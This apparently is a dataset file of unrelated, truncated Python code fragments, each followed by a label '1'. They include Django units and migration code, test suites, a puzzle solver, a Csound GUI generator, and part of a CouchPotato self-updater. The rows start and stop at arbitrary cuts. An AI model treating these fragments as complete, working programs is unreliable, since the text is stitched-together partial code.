= { 'chain': 20.1168, 'chain_benoit': 20.116782, 'chain_sears': 20.1167645, 'british_chain_benoit': 20.1167824944, 'british_chain_sears': 20.1167651216, 'british_chain_sears_truncated': 20.116756, 'cm': 0.01, 'british_ft': 0.304799471539, 'british_yd': 0.914398414616, 'clarke_ft': 0.3047972654, 'clarke_link': 0.201166195164, 'fathom': 1.8288, 'ft': 0.3048, 'german_m': 1.0000135965, 'gold_coast_ft': 0.304799710181508, 'indian_yd': 0.914398530744, 'inch': 0.0254, 'km': 1000.0, 'link': 0.201168, 'link_benoit': 0.20116782, 'link_sears': 0.20116765, 'm': 1.0, 'mi': 1609.344, 'mm': 0.001, 'nm': 1852.0, 'nm_uk': 1853.184, 'rod': 5.0292, 'sears_yd': 0.91439841, 'survey_ft': 0.304800609601, 'um': 0.000001, 'yd': 0.9144, } # Unit aliases for `UNIT` terms encountered in Spatial Reference WKT. ALIAS = { 'centimeter': 'cm', 'foot': 'ft', 'inches': 'inch', 'kilometer': 'km', 'kilometre': 'km', 'meter': 'm', 'metre': 'm', 'micrometer': 'um', 'micrometre': 'um', 'millimeter': 'mm', 'millimetre': 'mm', 'mile': 'mi', 'yard': 'yd', 'British chain (Benoit 1895 B)': 'british_chain_benoit', 'British chain (Sears 1922)': 'british_chain_sears', 'British chain (Sears 1922 truncated)': 'british_chain_sears_truncated', 'British foot (Sears 1922)': 'british_ft', 'British foot': 'british_ft', 'British yard (Sears 1922)': 'british_yd', 'British yard': 'british_yd', ""Clarke's Foot"": 'clarke_ft', ""Clarke's link"": 'clarke_link', 'Chain (Benoit)': 'chain_benoit', 'Chain (Sears)': 'chain_sears', 'Foot (International)': 'ft', 'German legal metre': 'german_m', 'Gold Coast foot': 'gold_coast_ft', 'Indian yard': 'indian_yd', 'Link (Benoit)': 'link_benoit', 'Link (Sears)': 'link_sears', 'Nautical Mile': 'nm', 'Nautical Mile (UK)': 'nm_uk', 'US survey foot': 'survey_ft', 'U.S. Foot': 'survey_ft', 'Yard (Indian)': 'indian_yd', 'Yard (Sears)': 'sears_yd' } LALIAS = {k.lower(): v for k, v in ALIAS.items()} def __mul__(self, other): if isinstance(other, self.__class__): return Area(default_unit=AREA_PREFIX + self._default_unit, **{AREA_PREFIX + self.STANDARD_UNIT: (self.standard * other.standard)}) elif isinstance(other, NUMERIC_TYPES): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard * other)}) else: raise TypeError('%(distance)s must be multiplied with number or %(distance)s' % { ""distance"": pretty_name(self.__class__), }) class Area(MeasureBase): STANDARD_UNIT = AREA_PREFIX + Distance.STANDARD_UNIT # Getting the square units values and the alias dictionary. UNITS = {'%s%s' % (AREA_PREFIX, k): v ** 2 for k, v in Distance.UNITS.items()} ALIAS = {k: '%s%s' % (AREA_PREFIX, v) for k, v in Distance.ALIAS.items()} LALIAS = {k.lower(): v for k, v in ALIAS.items()} def __truediv__(self, other): if isinstance(other, NUMERIC_TYPES): return self.__class__(default_unit=self._default_unit, **{self.STANDARD_UNIT: (self.standard / other)}) else: raise TypeError('%(class)s must be divided by a number' % {""class"": pretty_name(self)}) def __div__(self, other): # Python 2 compatibility return type(self).__truediv__(self, other) # Shortcuts D = Distance A = Area ",1 "class right(TileStack): pass class Max(Split): class main(Stack): tile = False class InstantMsg(Split): class left(TileStack): # or maybe not tiled ? weight = 3 class roster(Stack): limit = 1 priority = 0 # probably roster created first class Gimp(Split): class toolbox(Stack): limit = 1 size = 184 class main(Stack): weight = 4 priority = 0 class dock(Stack): limit = 1 size = 324 ",1 "utils.core import Distribution import sysconfig from distutils.tests import support from test.test_support import run_unittest class BuildScriptsTestCase(support.TempdirManager, support.LoggingSilencer, unittest.TestCase): def test_default_settings(self): cmd = self.get_build_scripts_cmd(""/foo/bar"", []) self.assertTrue(not cmd.force) self.assertTrue(cmd.build_dir is None) cmd.finalize_options() self.assertTrue(cmd.force) self.assertEqual(cmd.build_dir, ""/foo/bar"") def test_build(self): source = self.mkdtemp() target = self.mkdtemp() expected = self.write_sample_scripts(source) cmd = self.get_build_scripts_cmd(target, [os.path.join(source, fn) for fn in expected]) cmd.finalize_options() cmd.run() built = os.listdir(target) for name in expected: self.assertTrue(name in built) def get_build_scripts_cmd(self, target, scripts): import sys dist = Distribution() dist.scripts = scripts dist.command_obj[""build""] = support.DummyCommand( build_scripts=target, force=1, executable=sys.executable ) return build_scripts(dist) def write_sample_scripts(self, dir): expected = [] expected.append(""script1.py"") self.write_script(dir, ""script1.py"", (""#! /usr/bin/env python2.3\n"" ""# bogus script w/ Python sh-bang\n"" ""pass\n"")) expected.append(""script2.py"") self.write_script(dir, ""script2.py"", (""#!/usr/bin/python\n"" ""# bogus script w/ Python sh-bang\n"" ""pass\n"")) expected.append(""shell.sh"") self.write_script(dir, ""shell.sh"", (""#!/bin/sh\n"" ""# bogus shell script w/ sh-bang\n"" ""exit 0\n"")) return expected def write_script(self, dir, name, text): f = open(os.path.join(dir, name), ""w"") try: f.write(text) finally: f.close() def test_version_int(self): source = self.mkdtemp() target = self.mkdtemp() expected = self.write_sample_scripts(source) cmd = self.get_build_scripts_cmd(target, [os.path.join(source, fn) for fn in expected]) cmd.finalize_options() # http://bugs.python.org/issue4524 # # On linux-g++-32 with command line `./configure --enable-ipv6 # --with-suffix=3`, python is compiled okay but the build scripts # failed when writing the name of the executable old = sysconfig.get_config_vars().get('VERSION') sysconfig._CONFIG_VARS['VERSION'] = 4 try: cmd.run() finally: if old is not None: sysconfig._CONFIG_VARS['VERSION'] = old built = os.listdir(target) for name in expected: self.assertTrue(name in built) def test_suite(): return unittest.makeSuite(BuildScriptsTestCase) if __name__ == ""__main__"": run_unittest(test_suite()) ",1 "ution, stacksAfterSolution, initialStacks, finalStacks): for x in range(len(currentSolution)): i, j = currentSolution[x] stacksAfterSolution[j].append(stacksAfterSolution[i].pop()) if str(stacksAfterSolution) == str(finalStacks): return True else: return False def stepLegitimate(stacksAfterSolution, i, j): if len(stacksAfterSolution[i]) == 0 or \ (len(stacksAfterSolution[j]) > 0 and stacksAfterSolution[i][-1] > stacksAfterSolution[j][-1]): return False return True # DFS cannot work, need to use BFS def moveDiscs(initialStacks, finalStacks, results): import collections solutions = collections.deque() solutions.append([]) K = len(initialStacks) - 1 while len(solutions) > 0: currentSolution = copy.deepcopy(solutions.popleft()) if len(currentSolution) > 7: continue stacksAfterSolution = copy.deepcopy(initialStacks) if solutionWorks(currentSolution, stacksAfterSolution, initialStacks, finalStacks): for x in range(len(currentSolution)): results.append(list(currentSolution[x])) return # add other solutions in queue for i in range(1, K + 1): for j in range(1, K + 1): if j != i and stepLegitimate(stacksAfterSolution, i, j): currentSolution.append([i, j]) solutions.append(copy.deepcopy(currentSolution)) currentSolution.pop() if __name__ == '__main__': # N, K = [int(x) for x in sys.stdin.readline().split()] N, K = 6, 4 initialStacks = [[] for x in range(K + 1)] finalStacks = [[] for x in range(K + 1)] # initial = [int(x) for x in sys.stdin.readline().split()] # final = [int(x) for x in sys.stdin.readline().split()] initial = [4, 2, 4, 3, 1, 1] final = [1, 1, 1, 1, 1, 1] for i in range(N - 1, -1, -1): initialStacks[initial[i]].append(i + 1) for i in range(N - 1, -1, -1): finalStacks[final[i]].append(i + 1) print(initialStacks) print(finalStacks) results = [] moveDiscs(initialStacks, finalStacks, results) print(len(results)) for i in range(len(results)): print(results[i][0], results[i][1]) ",1 "rt emit_post_migrate_signal from django.db import migrations def add_executive_group(apps, schema_editor): # create group db_alias = schema_editor.connection.alias emit_post_migrate_signal(1, False, db_alias) Group = apps.get_model('auth', 'Group') Permission = apps.get_model('auth', 'Permission') executive_group, created = Group.objects.get_or_create(name='executive') if created: # Learning unit can_access_learningunit = Permission.objects.get(codename='can_access_learningunit') executive_group.permissions.add(can_access_learningunit) class Migration(migrations.Migration): dependencies = [ ('base', '0207_auto_20171220_1035'), ] operations = [ migrations.RunPython(add_executive_group, elidable=True), ] ",1 "ort pandas.util.testing as pdt import pytest from ..activitysim import eval_variables from .. import mnl # this is lifted straight from urbansim's test_mnl.py @pytest.fixture(scope='module', params=[ ('fish.csv', 'fish_choosers.csv', pd.DataFrame( [[-0.02047652], [0.95309824]], index=['price', 'catch'], columns=['Alt']), pd.DataFrame([ [0.2849598, 0.2742482, 0.1605457, 0.2802463], [0.1498991, 0.4542377, 0.2600969, 0.1357664]], columns=['beach', 'boat', 'charter', 'pier']))]) def test_data(request): data, choosers, spec, probabilities = request.param return { 'data': data, 'choosers': choosers, 'spec': spec, 'probabilities': probabilities } @pytest.fixture def choosers(test_data): filen = os.path.join( os.path.dirname(__file__), 'data', test_data['choosers']) return pd.read_csv(filen) @pytest.fixture def spec(test_data): return test_data['spec'] @pytest.fixture def choosers_dm(choosers, spec): return eval_variables(spec.index, choosers) @pytest.fixture def utilities(choosers_dm, spec, test_data): utils = choosers_dm.dot(spec).astype('float') return pd.DataFrame( utils.as_matrix().reshape(test_data['probabilities'].shape), columns=test_data['probabilities'].columns) def test_utils_to_probs(utilities, test_data): probs = mnl.utils_to_probs(utilities) pdt.assert_frame_equal(probs, test_data['probabilities']) def test_utils_to_probs_raises(): with pytest.raises(RuntimeError): mnl.utils_to_probs( pd.DataFrame([[1, 2, np.inf, 3]])) def test_make_choices_only_one(): probs = pd.DataFrame( [[1, 0, 0], [0, 1, 0]], columns=['a', 'b', 'c'], index=['x', 'y']) choices = mnl.make_choices(probs) pdt.assert_series_equal( choices, pd.Series([0, 1], index=['x', 'y'])) def test_make_choices_real_probs(random_seed, utilities): probs = mnl.utils_to_probs(utilities) choices = mnl.make_choices(probs) pdt.assert_series_equal( choices, pd.Series([1, 2], index=[0, 1])) @pytest.fixture(scope='module') def interaction_choosers(): return pd.DataFrame({ 'attr': ['a', 'b', 'c', 'b']}, index=['w', 'x', 'y', 'z']) @pytest.fixture(scope='module') def interaction_alts(): return pd.DataFrame({ 'prop': [10, 20, 30, 40]}, index=[1, 2, 3, 4]) def test_interaction_dataset_no_sample(interaction_choosers, interaction_alts): expected = pd.DataFrame({ 'attr': ['a'] * 4 + ['b'] * 4 + ['c'] * 4 + ['b'] * 4, 'prop': [10, 20, 30, 40] * 4, 'chooser_idx': ['w'] * 4 + ['x'] * 4 + ['y'] * 4 + ['z'] * 4}, index=[1, 2, 3, 4] * 4) interacted = mnl.interaction_dataset( interaction_choosers, interaction_alts) interacted, expected = interacted.align(expected, axis=1) pdt.assert_frame_equal(interacted, expected) def test_interaction_dataset_sampled( interaction_choosers, interaction_alts, random_seed): expected = pd.DataFrame({ 'attr': ['a'] * 2 + ['b'] * 2 + ['c'] * 2 + ['b'] * 2, 'prop': [30, 40, 10, 30, 40, 10, 20, 10], 'chooser_idx': ['w'] * 2 + ['x'] * 2 + ['y'] * 2 + ['z'] * 2}, index=[3, 4, 1, 3, 4, 1, 2, 1]) interacted = mnl.interaction_dataset( interaction_choosers, interaction_alts, sample_size=2) interacted, expected = interacted.align(expected, axis=1) pdt.assert_frame_equal(interacted, expected) ",1 " The Signal Interaction Toolkit is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 # as published by the Free Software Foundation. # # The Signal Interaction Toolkit is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with The Signal Interaction Toolkit. # If not, see . import sys if sys.argv[1] == 'template': effectname = 'template' parameters = [('Vol', (0.0, 1.0, 0.5, 0.25, 0.00001))] # pName, (min, max, default, skew, increment) # where skew is a dynamic adjustment of exp/lin/log translation if the GUI widget # and increment is the smallest change allowed by the GUI widget if sys.argv[1] == 'stereopan': effectname = 'stereopan' parameters = [('Pan', (0.0, 1.0, 0.5, 1, 0.001)), ('Mix', (0.0, 1.0, 0.5, 1, 0.001))] if sys.argv[1] == 'tremolam': effectname = 'tremolam' parameters = [('Depth', (0.0, 1.0, 0.5, 0.25, 0.001)), ('RateLow', (0.0, 10.0, 0.5, 0.25, 0.001)), ('RateHigh', (0.0, 500.0, 0.5, 0.25, 0.001))] if sys.argv[1] == 'vst_mediator': effectname = 'vst_mediator' parameters = [('parm1', (0.0, 1.0, 0.5, 1, 0.001)), ('parm2', (0.0, 1.0, 0.5, 1, 0.001)), ('parm3', (0.0, 1.0, 0.5, 1, 0.001)), ('parm4', (0.0, 1.0, 0.5, 1, 0.001)), ('parm5', (0.0, 1.0, 0.5, 1, 0.001)), ('parm6', (0.0, 1.0, 0.5, 1, 0.001)), ('parm7', (0.0, 1.0, 0.5, 1, 0.001)), ('parm8', (0.0, 1.0, 0.5, 1, 0.001)) ] if sys.argv[1] == 'vst_MIDIator': effectname = 'vst_MIDIator' parameters = [('parm1', (0.0, 1.0, 0.5, 1, 0.001)), ('parm2', (0.0, 1.0, 0.5, 1, 0.001)), ('parm3', (0.0, 1.0, 0.5, 1, 0.001)), ('parm4', (0.0, 1.0, 0.5, 1, 0.001)), ('parm5', (0.0, 1.0, 0.5, 1, 0.001)), ('parm6', (0.0, 1.0, 0.5, 1, 0.001)), ('parm7', (0.0, 1.0, 0.5, 1, 0.001)), ('parm8', (0.0, 1.0, 0.5, 1, 0.001)) ] if sys.argv[1] == 'stereodelay': effectname = 'stereodelay' parameters = [('delaytime', (0.0008, 2.0, 0.5, 0.25, 0.00001)), ('filt_fq', (100, 10000, 1000, 0.35, 1)), ('feedback', (0.0, 0.9999, 0.3, 1.9, 0.0001)) ] if sys.argv[1] == 'pluck': effectname = 'pluck' parameters = [('inlevel', (0, 1.0, 1, 0.3, 0.01)), ('freq', (1, 1450, 400, 0.3, 0.01)), ('filt_fq', (1000, 16000, 7000, 0.35, 1)), ('feedback', (0.8, 0.9999, 0.95, 1.9, 0.0001)), ('mix', (0, 1.0, 1, 0.3, 0.01)) ] if sys.argv[1] == 'lpf18dist': effectname = 'lpf18dist' parameters = [('Drive', (1, 12, 2, 1, 0.1)), ('Freq', (20, 10000, 3000, 0.35, 1)), ('Resonance', (0.001, 0.95, 0.3, 1, 0.001)), ('Dist', (0.001, 10, 0.2, 0.5, 0.001)), ('Mix', (0.0, 1.0, 1.0, 1, 0.01)), ] if sys.argv[1] == 'screverb': effectname = 'screverb' parameters = [('InLevel', (0, 1.0, 0.2, 0.3, 0.01)), ('Feed', (0.0, 1.0, 0.85, 1.2, 0.01)), ('FiltFq', (100, 14000, 7000, 0.6, 1)), ('PitchMod', (0.0, 4.0, 0.9, 1, 0.01)), ('PreDly', (0.0, 500, 120, 1, 1)), ('LfRoll', (20, 500, 90, 1, 1)), ('Mix', (0.0, 1.0, 1.0, 1, 0.01)) ] if sys.argv[1] == 'freeverb': effectname = 'freeverb' parameters = [('inlevel', (0, 1.0, 1.0, 0.3, 0.01)), ('reverbtime', (0.0, 8.0, 1.5, 0.4, 0.01)), ('reverbdamp', (0.0, 1.0, 0.25, 0.6, 0.01)), ('reverbmix', (0.0, 1.0, 0.7, 1, 0.01)) ] if sys.argv[1] == 'mincertime': effectname = 'mincertime' parameters = [('inlevel', (0, 1.0, 1, 0.3, 0.01)), ('timpoint', (0, 0.99, 0.1, 0.4, 0.001)), ('pitch', (0.0, 2.0, 1.0, 1, 0.01)), ('feedback', (0.0, 1.0, 0.0, 1, 0.01)), ('mix', (0, 1.0, 1, 0.3, 0.01)) ] if sys.argv[1] == 'plucktremlpfverb': effectname = 'plucktremlpfverb' parameters = [('inlevel', (0, 1.0, 1, 0.3, 0.01)), ('pluckfreq', (1, 1450, 400, 0.3, 0.01)), ('pluckfilt', (1000, 16000, 7000, 0.35, 1)), ('pluckfeed', (0.8, 0.9999, 0.95, 1.9, 0.0001)), ('pluckmix', (0, 1.0, 1, 0.3, 0.01)), ('tremDepth', (0.0, 1.0, 0.5, 0.25, 0.001)), ('tRateLow', (0.0, 10.0, 0.5, 0.25, 0.001)), ('tRateHigh', (0.0, 500.0, 0.5, 0.25, 0.001)), ('lpfDrive', (1, 12, 2, 1, 0.1)), ('lpfFreq', (20, 10000, 3000, 0.35, 1)), ('lpfResonance', (0.001, 0.95, 0.3, 1, 0.001)), ('lpfDist', (0.001, 10, 0.2, 0.5, 0.001)), ('lpfMix', (0.0, 1.0, 1.0, 1, 0.01)), ('reverbtime', (0.0, 8.0, 1.5, 0.4, 0.01)), ('reverbdamp', (0.0, 1.0, 0.25, 0.6, 0.01)), ('reverbmix', (0.0, 1.0, 0.7, 1, 0.01)) ] if sys.argv[1] == 'mincerpanverb': effectname = 'mincerpanverb' parameters = [('inlevel', (0, 1.0, 1, 0.3, 0.01)), ('mincertime', (0, 0.99, 0.1, 0.4, 0.001)), ('mincerpitch', (0.0, 2.0, 1.0, 1, 0.01)), ('mincerfeed', (0.0, 1.0, 0.0, 1, 0.01)), ('mincermix', (0, 1.0, 1, 0.3, 0.01)), ('Pan', (0.0, 1.0, 0.5, 1, 0.001)), ('panMix', (0.0, 1.0, 0.5, 1, 0.001)), ('reverbtime', (0.0, 8.0, 1.5, 0.4, 0.01)), ('reverbdamp', (0.0, 1.0, 0.25, 0.6, 0.01)), ('reverbmix', (0.0, 1.0, 0.7, 1, 0.01)) ] # scorefile = open(effectname+'_score_events.inc', 'w') fractionalinstr = 0 for p in parameters: fractionalinstr += 1 scorefile.write('i4.{fracinstr:02d} 3.1 $SCORELEN ""{pname}""\n'.format(fracinstr=fractionalinstr, pname=p[0])) # chn_init_file = open(effectname+'_parameter_ranges.inc', 'w') instr_template = ''' instr 1 ; list of min and max for the mappable parameters {} endin ''' parameter_ranges = '' for i in range(len(parameters)): parm = parameters[i] parameter_ranges += ' chnset {}, ""{}_min"" \n'.format(parm[1][0], parm[0]) parameter_ranges += ' chnset {}, ""{}_max"" \n'.format(parm[1][1], parm[0]) chn_init_file.write(instr_template.format(parameter_ranges)) # start_x_pos = 30 start_y_pos = 5 plant_height = 85 analysis_parms = '""rms"", ""rms_preEq"", ""cps"", ""pitch"", ""centroid"", ""spread"", ""skewness"", ""kurtosis"", ""flatness"", ""crest"", ""flux"", ""amp_trans"", ""amp_t_dens"", ""centr_trans"", ""centr_t_dens"", ""kurt_trans"", ""pitchup_trans"", ""pitchdown_trans"", ""cps_raw""' plant = '''groupbox bounds({start_y}, {start_x}, 564, 81), plant(""plant_{pname}""), linethickness(""0""){{ combobox channel(""source1_{pname}""), bounds(10, 12, 90, 20), items({analysis_p}), value(1), channeltype(""string"") combobox channel(""chan1_{pname}""), bounds(103, 12, 50, 20), items(""1"", ""2"", ""3"", ""4""), value(1) numberbox bounds(158, 14, 35, 15), channel(""rise1_{pname}""), range(0.01, 10.0, 0.01) numberbox bounds(196, 14, 35, 15), channel(""fall1_{pname}""), range(0.01, 10.0, 0.5) hslider bounds(233, 12, 86, 20), channel(""scale1_{pname}""), range(-1.0, 1.0, 0, 1, 0.01) button bounds(320, 12, 29, 19), channel(""scale1_x_{pname}""), text(""x 1"",""x 10""), hslider bounds(349, 12, 86, 20), channel(""curve1_{pname}""), range(-5.0, 5.0, 0) combobox channel(""source2_{pname}""), bounds(10, 34, 90, 20), items({analysis_p}), value(1), channeltype(""string"") combobox channel(""chan2_{pname}""), bounds(103, 34, 50, 20), items(""1"", ""2"", ""3"", ""4""), value(1) numberbox bounds(158, 36, 35, 15), channel(""rise2_{pname}""), range(0.01, 10.0, 0.01) numberbox bounds(196, 36, 35, 15), channel(""fall2_{pname}""), range(0.01, 10.0, 0.5) hslider bounds(233, 34, 86, 20), channel(""scale2_{pname}""), range(-1.0, 1.0, 0, 1, 0.01) button bounds(320, 34, 29, 19), channel(""scale2_x_{pname}""), text(""x 1"",""x 10""), hslider bounds(349, 34, 86, 20), channel(""curve2_{pname}""), range(-5.0, 5.0, 0) label bounds(10, 58, 90, 12), text(""source""), colour(20,20,20,255) label bounds(103, 58, 50, 12), text(""chan""), colour(20,20,20,255) label bounds(156, 58, 76, 12), text(""rise/fall""), colour(20,20,20,255) label bounds(236, 58, 110, 12), text(""scale""), colour(20,20,20,255) label bounds(352, 58, 81, 12), text(""curve""), colour(20,20,20,255) rslider bounds(433, 12, 62, 62), text(""offset""), channel(""offset_{pname}""), range({p_min}, {p_max}, {p_default}, {p_skew}, {p_incr}) combobox bounds(433, 1, 55, 12), channel(""offsetx_{pname}""), items(""-1"", ""Nornm"", ""+1""), , value(2), channeltype(""string"") rslider bounds(494, 8, 66, 66), text(""{pname}""), channel(""{pname}""), range({p_min}, {p_max}, {p_default}, {p_skew}, {p_incr}) }} ''' plantMIDI = '''groupbox bounds({start_y}, {start_x}, 710, 81), plant(""plant_{pname}""), linethickness(""0""){{ combobox channel(""source1_{pname}""), bounds(10, 12, 90, 20), items({analysis_p}), value(1), channeltype(""string"") combobox channel(""chan1_{pname}""), bounds(103, 12, 50, 20), items(""1"", ""2"", ""3"", ""4""), value(1) numberbox bounds(158, 14, 35, 15), channel(""rise1_{pname}""), range(0.01, 10.0, 0.01) numberbox bounds(196, 14, 35, 15), channel(""fall1_{pname}""), range(0.01, 10.0, 0.5) hslider bounds(233, 12, 86, 20), channel(""scale1_{pname}""), range(-1.0, 1.0, 0, 1, 0.01) button bounds(320, 12, 29, 19), channel(""scale1_x_{pname}""), text(""x 1"",""x 10""), hslider bounds(349, 12, 86, 20), channel(""curve1_{pname}""), range(-5.0, 5.0, 0) combobox channel(""source2_{pname}""), bounds(10, 34, 90, 20), items({analysis_p}), value(1), channeltype(""string"") combobox channel(""chan2_{pname}""), bounds(103, 34, 50, 20), items(""1"", ""2"", ""3"", ""4""), value(1) numberbox bounds(158, 36, 35, 15), channel(""rise2_{pname}""), range(0.01, 10.0, 0.01) numberbox bounds(196, 36, 35, 15), channel(""fall2_{pname}""), range(0.01, 10.0, 0.5) hslider bounds(233, 34, 86, 20), channel(""scale2_{pname}""), range(-1.0, 1.0, 0, 1, 0.01) button bounds(320, 34, 29, 19), channel(""scale2_x_{pname}""), text(""x 1"",""x 10""), hslider bounds(349, 34, 86, 20), channel(""curve2_{pname}""), range(-5.0, 5.0, 0) label bounds(10, 58, 90, 12), text(""source""), colour(20,20,20,255) label bounds(103, 58, 50, 12), text(""chan""), colour(20,20,20,255) label bounds(156, 58, 76, 12), text(""rise/fall""), colour(20,20,20,255) label bounds(236, 58, 110, 12), text(""scale""), colour(20,20,20,255) label bounds(352, 58, 81, 12), text(""curve""), colour(20,20,20,255) rslider bounds(433, 12, 62, 62), text(""offset""), channel(""offset_{pname}""), range({p_min}, {p_max}, {p_default}, {p_skew}, {p_incr}) combobox bounds(433, 1, 55, 12), channel(""offsetx_{pname}""), items(""-1"", ""Nornm"", ""+1""), , value(2), channeltype(""string"") rslider bounds(494, 8, 66, 66), text(""{pname}""), channel(""{pname}""), range({p_min}, {p_max}, {p_default}, {p_skew}, {p_incr}) label bounds(570, 8, 55, 12), text(""midi""), colour(20,20,20,255) checkbox bounds(632, 8, 12, 12), text(""enable""), channel(""enable_{pname}""), value(1) numberbox bounds(570, 25, 55, 15), channel(""midich_{pname}""), range(1, 16, 1) numberbox bounds(570, 42, 55, 15), channel(""ctrlnum_{pname}""), range(1, 127, 1) label bounds(632, 25, 70, 12), text(""channel""), colour(20,20,20,255) label bounds(632, 42, 70, 12), text(""ctrl""), colour(20,20,20,255) }} ''' if effectname == 'vst_MIDIator': plant = plantMIDI guifile = open(effectname+'_gui_scratchpad.inc', 'w') x_pos = start_x_pos x_pos1 = start_x_pos y_pos = start_y_pos for i in range(len(parameters)): parm = parameters[i] if (effectname == 'plucktremlpfverb') and (parm[0] == 'lpfDrive'): x_pos1 = x_pos x_pos = start_x_pos y_pos = 575 guifile.write(plant.format(start_x=x_pos, start_y=y_pos, pname=parm[0], analysis_p=analysis_parms,p_min=parm[1][0], p_max=parm[1][1], p_default=parm[1][2], p_skew=parm[1][3], p_incr=parm[1][4])) x_pos+=plant_height guifile.write(';next x position available below plants is {}'.format(max([x_pos,x_pos1])))",1 " Opendrive Ltda # # WARNING: This program as such is intended to be used by professional # programmers who take the whole responsibility of assessing all potential # consequences resulting from its eventual inadequacies and bugs # End users who are looking for a ready-to-use solution with commercial # guarantees and support are strongly advised to contract a Free Software # Service Company # # This program is Free Software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # ############################################################################## from openerp.osv import osv, fields from openerp.tools.translate import _ class Partner(osv.osv): _inherit = 'res.partner' _columns = { 'legal_representative': fields.char( 'Legal Representative', ), } ",1 "mport ss from couchpotato.core.helpers.request import jsonified from couchpotato.core.logger import CPLog from couchpotato.core.plugins.base import Plugin from couchpotato.environment import Env from datetime import datetime from dateutil.parser import parse from git.repository import LocalRepository import json import os import shutil import tarfile import time import traceback import version log = CPLog(__name__) class Updater(Plugin): available_notified = False def __init__(self): if Env.get('desktop'): self.updater = DesktopUpdater() elif os.path.isdir(os.path.join(Env.get('app_dir'), '.git')): self.updater = GitUpdater(self.conf('git_command', default = 'git')) else: self.updater = SourceUpdater() fireEvent('schedule.interval', 'updater.check', self.autoUpdate, hours = 6) addEvent('app.load', self.autoUpdate) addEvent('updater.info', self.info) addApiView('updater.info', self.getInfo, docs = { 'desc': 'Get updater information', 'return': { 'type': 'object', 'example': """"""{ 'last_check': ""last checked for update"", 'update_version': ""available update version or empty"", 'version': current_cp_version }""""""} }) addApiView('updater.update', self.doUpdateView) addApiView('updater.check', self.checkView, docs = { 'desc': 'Check for available update', 'return': {'type': 'see updater.info'} }) def autoUpdate(self): if self.check() and self.conf('automatic') and not self.updater.update_failed: if self.updater.doUpdate(): # Notify before restarting try: if self.conf('notification'): info = self.updater.info() version_date = datetime.fromtimestamp(info['update_version']['date']) fireEvent('updater.updated', 'Updated to a new version with hash ""%s"", this version is from %s' % (info['update_version']['hash'], version_date), data = info) except: log.error('Failed notifying for update: %s', traceback.format_exc()) fireEventAsync('app.restart') return True return False def check(self): if self.isDisabled(): return if self.updater.check(): if not self.available_notified and self.conf('notification') and not self.conf('automatic'): fireEvent('updater.available', message = 'A new update is available', data = self.updater.info()) self.available_notified = True return True return False def info(self): return self.updater.info() def getInfo(self): return jsonified(self.updater.info()) def checkView(self): return jsonified({ 'update_available': self.check(), 'info': self.updater.info() }) def doUpdateView(self): self.check() if not self.updater.update_version: log.error('Trying to update when no update is available.') success = False else: success = self.updater.doUpdate() if success: fireEventAsync('app.restart') # Assume the updater handles things if not success: success = True return jsonified({ 'success': success }) class BaseUpdater(Plugin): repo_user = 'jayme-github' repo_name = 'CouchPotatoServer' branch = version.BRANCH version = None update_failed = False update_version = None last_check = 0 def doUpdate(self): pass def getInfo(self): return jsonified(self.info()) def info(self): return { 'last_check': self.last_check, 'update_version': self.update_version, 'version': self.getVersion(), 'repo_name': '%s/%s' % (self.repo_user, self.repo_name), 'branch': self.branch, } def check(self): pass def deletePyc(self, only_excess = True): for root, dirs, files in os.walk(ss(Env.get('app_dir'))): pyc_files = filter(lambda filename: filename.endswith('.pyc'), files) py_files = set(filter(lambda filename: filename.endswith('.py'), files)) excess_pyc_files = filter(lambda pyc_filename: pyc_filename[:-1] not in py_files, pyc_files) if only_excess else pyc_files for excess_pyc_file in excess_pyc_files: full_path = os.path.join(root, excess_pyc_file) log.debug('Removing old PYC file: %s', full_path) try: os.remove(full_path) except: log.error('Couldn\'t remove %s: %s', (full_path, traceback.format_exc())) for dir_name in dirs: full_path = os.path.join(root, dir_name) if len(os.listdir(full_path)) == 0: try: os.rmdir(full_path) except: log.error('Couldn\'t remove empty directory %s: %s', (full_path, traceback.format_exc())) class GitUpdater(BaseUpdater): def __init__(self, git_command): self.repo = LocalRepository(Env.get('app_dir'), command = git_command) def doUpdate(self): try: log.debug('Stashing local changes') self.repo.saveStash() log.info('Updating to latest version') self.repo.pull() # Delete leftover .pyc files self.deletePyc() return True except: log.error('Failed updating via GIT: %s', traceback.format_exc()) self.update_failed = True return False def getVersion(self): if not self.version: try: output = self.repo.getHead() # Yes, please log.debug('Git version output: %s', output.hash) self.version = { 'hash': output.hash[:8], 'date': output.getDate(), 'type': 'git', } except Exception, e: log.error('Failed using GIT updater, running from source, you need to have GIT installed. %s', e) return 'No GIT' return self.version def check(self): if self.update_version: return True log.info('Checking for new version on github for %s', self.repo_name) if not Env.get('dev'): self.repo.fetch() current_branch = self.repo.getCurrentBranch().name for branch in self.repo.getRemoteByName('origin').getBranches(): if current_branch == branch.name: local = self.repo.getHead() remote = branch.getHead() log.info('Versions, local:%s, remote:%s', (local.hash[:8], remote.hash[:8])) if local.getDate() < remote.getDate(): self.update_version = { 'hash': remote.hash[:8], 'date': remote.getDate(), } return True self.last_check = time.time() return False class SourceUpdater(BaseUpdater): def __init__(self): # Create version file in cache self.version_file = os.path.join(Env.get('cache_dir'), 'version') if not os.path.isfile(self.version_file): self.createFile(self.version_file, json.dumps(self.latestCommit())) def doUpdate(self): try: url = 'https://github.com/%s/%s/tarball/%s' % (self.repo_user, self.repo_name, self.branch) destination = os.path.join(Env.get('cache_dir'), self.update_version.get('hash') + '.tar.gz') extracted_path = os.path.join(Env.get('cache_dir'), 'temp_updater') destination = fireEvent('file.download', url = url, dest = destination, single = True) # Cleanup leftover from last time if os.path.isdir(extracted_path): self.removeDir(extracted_path) self.makeDir(extracted_path) # Extract tar = tarfile.open(destination) tar.extractall(path = extracted_path) tar.close() os.remove(destination) if self.replaceWith(os.path.join(extracted_path, os.listdir(extracted_path)[0])): 